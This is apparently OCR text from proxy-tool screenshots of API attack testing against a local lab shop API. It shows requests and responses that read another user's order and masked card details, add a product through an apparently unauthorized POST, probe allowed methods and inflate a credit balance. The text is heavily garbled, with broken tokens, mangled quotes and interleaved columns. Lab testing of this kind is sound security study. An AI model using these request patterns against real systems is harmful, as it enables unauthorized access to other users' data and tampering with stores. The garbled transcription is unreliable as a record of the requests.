T4NSwicm9sZSI6InVZZX 11 £Q. 0AGMYcehOcTXJ229Ty Tbe5A0CAG138sF3ifwl-etz_UK5gUjfsnK1a3f JwvVZ0iRGp3GURD5S2 |13
1h3iDglZgn_n70Vb55FULRAWLAZIbSX 9Kn4pz0 1 MR8w2m T 4AdF jw9sbT591cQo T InY JS3pwfK54f oPwkSmwhpSNLViXtvA NuZr 14 {

SVMFRT4WxneSmSETnPqnSFe-¥MjE-ELOPG texVYkfUTL5CHT QainQ3hBAUNN ZqnOdMe jzbcaggTrkk0_ew3sDeaPBGS5CF61sD “order”: {
uiBe5o_fUlU91gMDAux_R1XIgNzxcqxyxsINLgkZbfk-93ulwelDazVXL2JribemgomAVa "1d":8,

Accept-Language: zh-CN, zh;q=0. 9 “user”: {

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) “email”:”1666197054@gmail. con”,
Chrome/138. 0. 0.0 Safari/537. 36 “number”:19112211231"
Content~-Type: application/json I8

Accept: */* “product”: {

Referer: http://192. 168. 0. 102:8888/orders?order_id=14 “id":1,

Accept-Encoding: gzip, deflate, br “name”:"Seat”,

~alive “price”:"10.00",
"image_url”:” images/seat. svg”
I8
“quantity”:1,
“status”:"delivered’,
“transaction_id”:"a95afele-b742-429a-b003-6d81£d9al18",
“created_on”:"2025-08-12T08: 22: 55. 766907
I8
"payment”: {
“transaction_id”:"a95afele-b742-429a-b003-6d81ffd9al18",
“order_id":8,
“amount” : 10,
“paid_on”:"2025-08-12108:22: 55. 766907",
”card_number” : ”XXXXXXXXXXXX0939",
“card_owner_name”: “maolin”,
“card_type”: MasterCard”,
“card_expiry”:"03/2026",
“currency”: “USD”
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1 GET /workshop/api/shop/orders/3 HITP/1. 1 9 X-Content-Type-Options: nosniff
2 Host: 192.168.0.102:8888 10 Referrer-Policy: same-origin
3 Authorization: Bearer 11 Cross-Origin-Opener-Policy: same-origin

eyJhbGei01 JSUZIINL J9. ey JzdW 1101 JzZWNleml 0e TEWMUBxcS5 jb201LCIpYXQ10 JESNTURMTY00DUS ImVAcCIBMTCINTYYMT |12 Content-Length: 548
T4NSwicm9sZSI6InVZZX 11 £Q. 0AGMYcehOcTXJ229Ty Tbe5A0CAG138sF3ifwl-etz_UK5gUjfsnK1a3f JwvVZ0iRGp3GURD5S2 |13
1h3iDglZgn_n70Vb55FULRAWLAZIbSX 9Kn4pz0 1 MR8w2m T 4AdF jw9sbT591cQo T InY JS3pwfK54f oPwkSmwhpSNLViXtvA NuZr 14 {
3VMWRT4Wxme8n8ETmPamSFe-YM jE-ELOPG texVYkfUTL5cHT QainQ3hBAUWN jZqmOdMe jzbcagg Trkk0_ew3sDeaPBG85CF6IsD
ui8ebo_fUlU91qMDAux_R1XIgNzxcqxyxs1NLgkZbfk-93uNwe1DqzVXL2]r ibcmqomAVQ

4 Accept-Language: zh—CN, zh;q=0. 9

5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) "email”:"robot001@example. con”,
Chrome/138. 0. 0.0 Safari/537. 36 “rumber”:”9876570001"

6 Content-Type: application/json I8

7 */% “product”

8 : http://192. 168. 0. 102:8888/orders?order_id=14 “id":

9 Accept-Encoding: gzip, deflate, br “name”:"Seat”,

0¢ “price”:"10.00",

1 “image_url”:”images/seat. sve”

2 i

quantity”:2,

“status”:"delivered’,
“transaction_id”:"580c505-9554-403b-95d3-1758ddf07387",
“created_on”:"2025-08-12704: 23: 32. 265946

I8

"payment”: {
“transaction_id”:"580c505-9554-403b-95d3-1758ddf07387",
“order_id":3,
“amount” : 20,
“paid_on”:"2025-08-1210. "
"card_number” : " XXXXXX
“card_owner_name”: "Robot”,
“card_type”: MasterCard”,
“card_expiry”:”08/2028",
“currency”: "USD”

}
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POST /workshop/api/shop/orders HITP/1.1

Host: 192.168. 0. 102:8888

Content-Length: 29

Authorization: Bearer

eyJhbGei0iJSUZIINI J9. eyJzdWI10iJzZWN1cml0e TERMUBxCSS5 16201 LCTpYXQ10 JESNTURMTY00DUS ImVACCI6MTC INTY yMT
T4NSwicm9sZSI6INVZZXT1£Q. 0AQMYcehOcTE 229y The5A0CAG1 38sF 31 fwl-etz_UK5gUjfsnkla3f JwvVZ0iRGp3GUNDES2
1h3iDg1Zgn_n70Vb55FULRANLAZNLSX 9Kn4pz0 IMREW2nT 4AdF jwOsbT591cQo] InY JS3pwEK54f oPwkSmwhpSNLviXtvA_NuZr
SVMFRT4WxneSnSETnPqnSFe~¥MjE-ELOPG texVYkfUTL5CHT QainQ3hBAUNN ZqnOdMe jzbcaggTrkk0_ew3sDeaPBGS5CF61sD
uiBeSo_fUlU91aMDAux_RIXIqNzxcaxyxsINLekZbfk-93uliwe1DazVKL2Tr ibcmqomAvQ

Accept-Language: zh-CN, zh;q=0.9

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko.
Chrome/138. 0. 0.0 Safari/537. 36

Content~-Type: application/json

Accept: */*

Origin: http://192. 168. 0. 102:8888

Referer: http://192. 168. 0. 102:8888/shop

Accept-Encoding: gzip, deflate, br

“product_id”:1,

“quantity”:1
) -—

Response

Pretty Raw  Hex  Render

HITP/1.1 200 OK

Server: openresty/l.25.3.1

Date: Tue, 12 Aug 2025 17:39:01 GMT
Content-Type: application/json
Comnection: keep-alive

Allow: GET, POST, PUT, HEAD, OPTIONS
Vary: origin, Cookie

§ access-control-allow-origin: *

9 X-Frame-Options: DENY

10 X-Content-Type-Options: nosniff

11 Referrer-Policy: same-origin

12 Cross-Origin-Opener-Policy: same-origin
13 Content-Length: 63

1o e W

15 {
“id’:16,
“message”
“credit”:10145.0

“0rder sent successfully.”,
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POST /workshop/api/shop/orders HITP/1.1
Host: 192.168. 0. 102:8888
Content-Length: 31
Authorization: Bearer
eyJhbGei0iJSUZIINI J9. eyJzdWI10iJzZWN1cml0e TERMUBxCSS5 16201 LCTpYXQ10 JESNTURMTY00DUS ImVACCI6MTC INTY yMT
T4NSwicm9sZSI6INVZZXT1£Q. 0AQMYcehOcTE 229y The5A0CAG1 38sF 31 fwl-etz_UK5gUjfsnkla3f JwvVZ0iRGp3GUNDES2
1h3iDg1Zgn_n70Vb55FULRANLAZNLSX 9Kn4pz0 IMREW2nT 4AdF jwOsbT591cQo] InY JS3pwEK54f oPwkSmwhpSNLviXtvA_NuZr
SVMFRT4WxneSnSETnPqnSFe~¥MjE-ELOPG texVYkfUTL5CHT QainQ3hBAUNN ZqnOdMe jzbcaggTrkk0_ew3sDeaPBGS5CF61sD
uiBeSo_fUlU91aMDAux_RIXIqNzxcaxyxsINLekZbfk-93uliwe1DazVKL2Tr ibcmqomAvQ
Accept-Language: zh-CN, zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko.
Chrome/138. 0. 0.0 Safari/537. 36
Content~-Type: application/json
Accept: */*
Origin: http://192. 168. 0. 102:8888
Referer: http://192. 168. 0. 102:8888/shop
Accept-Encoding: szip, deflate, br
1

Response

Pretty Raw  Hex  Render

HITP/1.1 200 OK

Server: openresty/l.25.3.1

Date: Tue, 12 Aug 2025 17:39:46 GMT
Content-Type: application/json
Comnection: keep-alive

Allow: GET, POST, PUT, HEAD, OPTIONS
Vary: origin, Cookie

§ access-control-allow-origin: *

9 X-Frame-Options: DENY

10 X-Content-Type-Options: nosniff

11 Referrer-Policy: same-origin

12 Cross-Origin-Opener-Policy: same-origin
13 Content-Length: 63

1o e W

15 {
id":17,

"message”:"Order sent successfully.”,

“credit”:10245. 0
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[FET /workshop/api/shop/products?limit=30&offset=0 HITP/1.1

Host: 192.168. 0. 102:8888

Authorization: Bearer

eyJhbGei0iJSUZIINI J9. eyJzdWI10iJzZWN1cml0e TERMUBxCSS5 16201 LCTpYXQ10 JESNTURMTY00DUS ImVACCI6MTC INTY yMT
T4NSwicm9sZSI6INVZZXT1£Q. 0AQMYcehOcTE 229y The5A0CAG1 38sF 31 fwl-etz_UK5gUjfsnkla3f JwvVZ0iRGp3GUNDES2
1h3iDg1Zgn_n70Vb55FULRANLAZNLSX 9Kn4pz0 IMREW2nT 4AdF jwOsbT591cQo] InY JS3pwEK54f oPwkSmwhpSNLviXtvA_NuZr
SVMFRT4WxneSnSETnPqnSFe~¥MjE-ELOPG texVYkfUTL5CHT QainQ3hBAUNN ZqnOdMe jzbcaggTrkk0_ew3sDeaPBGS5CF61sD
uiBeSo_fUlU91aMDAux_RIXIqNzxcaxyxsINLekZbfk-93uliwe1DazVKL2Tr ibcmqomAvQ

Accept-Language: zh-CN, zh;q=0.9

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko.
Chrome/138. 0. 0.0 Safari/537. 36

Content~-Type: application/json

Accept: #/*

Referer: http://192. 168. 0. 102:8888/shop

Accept-Encoding: gzip, deflate, br

¢ -al.

Response

Pretty Raw  Hex  Render

Cornection: keep-alive
Allow: GET, POST, HEAD, OPTIONS

oo

© o

10
11
12

14

Vary:

origin, Cookie

X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
Cross-Origin-Opener-Policy: same-origin
Content-Length: 318

{

“products”: [

“id":3,

“name”: “good”,

“price”:"10. 00",

“image_url”:"https://maolinlO0l. com/upload/touxiang. jpg”

3,
{
“id:2,
“name”: “Wheel”,
“price”:"10. 00",
“image_url”:”images/wheel. svg”
3,
{
“id:1,
“name”:"Seat”,
“price”:"10. 00",
“image_url”:"inages/seat. svg”
}

1,

“credit”:10245. 0,
“next_offset”:null,
“previous_offset”:null,
“count”:3
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OPTIONS /workshop/api/shop/products?limit=30&offset=0 HITP/L. 1
Host: 192.168. 0. 102:8888
Authorization: Bearer
eyJhbGei0iJSUZIINI J9. eyJzdWI10iJzZWN1cml0e TERMUBxCSS5 16201 LCTpYXQ10 JESNTURMTY00DUS ImVACCI6MTC INTY yMT
T4NSwicm9sZSI6INVZZXT1£Q. 0AQMYcehOcTE 229y The5A0CAG1 38sF 31 fwl-etz_UK5gUjfsnkla3f JwvVZ0iRGp3GUNDES2
1h3iDg1Zgn_n70Vb55FULRANLAZNLSX 9Kn4pz0 IMREW2nT 4AdF jwOsbT591cQo] InY JS3pwEK54f oPwkSmwhpSNLviXtvA_NuZr
SVMFRT4WxneSnSETnPqnSFe~¥MjE-ELOPG texVYkfUTL5CHT QainQ3hBAUNN ZqnOdMe jzbcaggTrkk0_ew3sDeaPBGS5CF61sD
uiBeSo_fUlU91aMDAux_RIXIqNzxcaxyxsINLekZbfk-93uliwe1DazVKL2Tr ibcmqomAvQ
Accept-Language: zh-CN, zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko.
Chrome/138. 0. 0.0 Safari/537. 36
Content~-Type: application/json
Accept: #/*
Referer: http://192. 168. 0. 102:8888/shop
Accept-Encoding: gzip, deflate, br

e

Response
Pretty Raw  Hex  Render

HTTP/1.1 200 0K
Server: openresty/l.25.3.1
Date: Tue, 12 Aug 2025 17:42:27 GMT

S

Content-Type: application/json

o

X-Frame-Options: DENY
X-Content-Type-Options: nosniff

10 Referrer-Policy: same-origin

11 Cross-Origin-Opener—Policy: same-origin
12 Content-Length: 177

13

14 {

©

“name”: “Product”
“description”: “Product Controller View”
“renders”: [
“application/json”
1,
“parses”: [
“application/json”
"application/x-www-form-urlencoded”,
“multipart/form-data”
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1 POST /workshop/api/shop/products?limit=30&offset=0 HITP/L. 1 1 HTTP/1.1 200 OK

2 Host: 192.168. 0. 102:8888 2 Server: openresty/l.25.3.1

3 Authorization: Bearer 3 Date: Tue, 12 Aug 2025 17:45:03 GMT
eyJhbGei0iJSUZI NI J9. eyJzdWI10i JzZWN1cml0e TEWMUBxCSS5 jb201LCTpYXQ10 JESNTURMTY00DUS InV4cCIBMTCINTYYMT | 4 Content-Type: application/json
T4NSwi cm9sZSI6InVZZXT1£Q. 0AQMYcehOcTE J229Ty The5A0CAG1 38sF 31 fwl-etz_UK5gUjfsnk1a3f JwvVZ0iRGp3GUSD5S2 | 5 Comnection: keep-alive
1h3iDg1Zgn_n70Vb55FULRANLAZNbSX OKn4pz0 IMREW2nT 4AdF jwOsbT591cQo] InY JS3pwEK54f oPwkSmwhpSNLviXtvA NuZr | 6 Allow: GET, POST, HEAD, OPTIONS
3VMIRT4Wxme8n8ETmPqnSFe-YMjE-ELOPG texVYkfUTL5CHT QainQ3hBAUWN ZqnOdie jzbeagg Trkk0_ew3sDeaPBG85CF6IsD | 7 Vary: origin, Cookie
uiBeSo_fUlU91aMDAux_RIXIqNzxcaxyxsINLekZbfk-93uliwe1DazVKL2Tr ibcmqomAvQ 8 X-Frame-Options: DENY

4 Accept-Language: zh—CN, zh;q=0. 9 9 X-Content-Type-Options: nosniff

5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 10 Referrer-Policy: same-origin
Chrome/138. 0. 0.0 Safari/537. 36 11 Cross-Origin-Opener-Policy: same-origin

6 application/json 12 Content-Length: 153

iy 13

8 http://192. 168. 0. 102:8888/shop 14 {

9 Accept-Encoding: gzip, deflate, br "1d":4,

0 “name”: “security”,

1 “price”:"101. 00",

2 “image_url”:

3 { “https://il. hdslb. con/bfs/face/40d1e8383ee5aae2ch45387ade5705abg5ad6bet. jpg@128w_128h_lc_ls. we

“id":3, bp”
“name”: “security”, }

“price”:"101. 00",

“image_url”:

“https://il. hdslb. con/bfs/face/40d1e8383ee5aae2cbd538Tade5705ab95ad6ber. jpg@128w_128h_lc_1s. we
bp”
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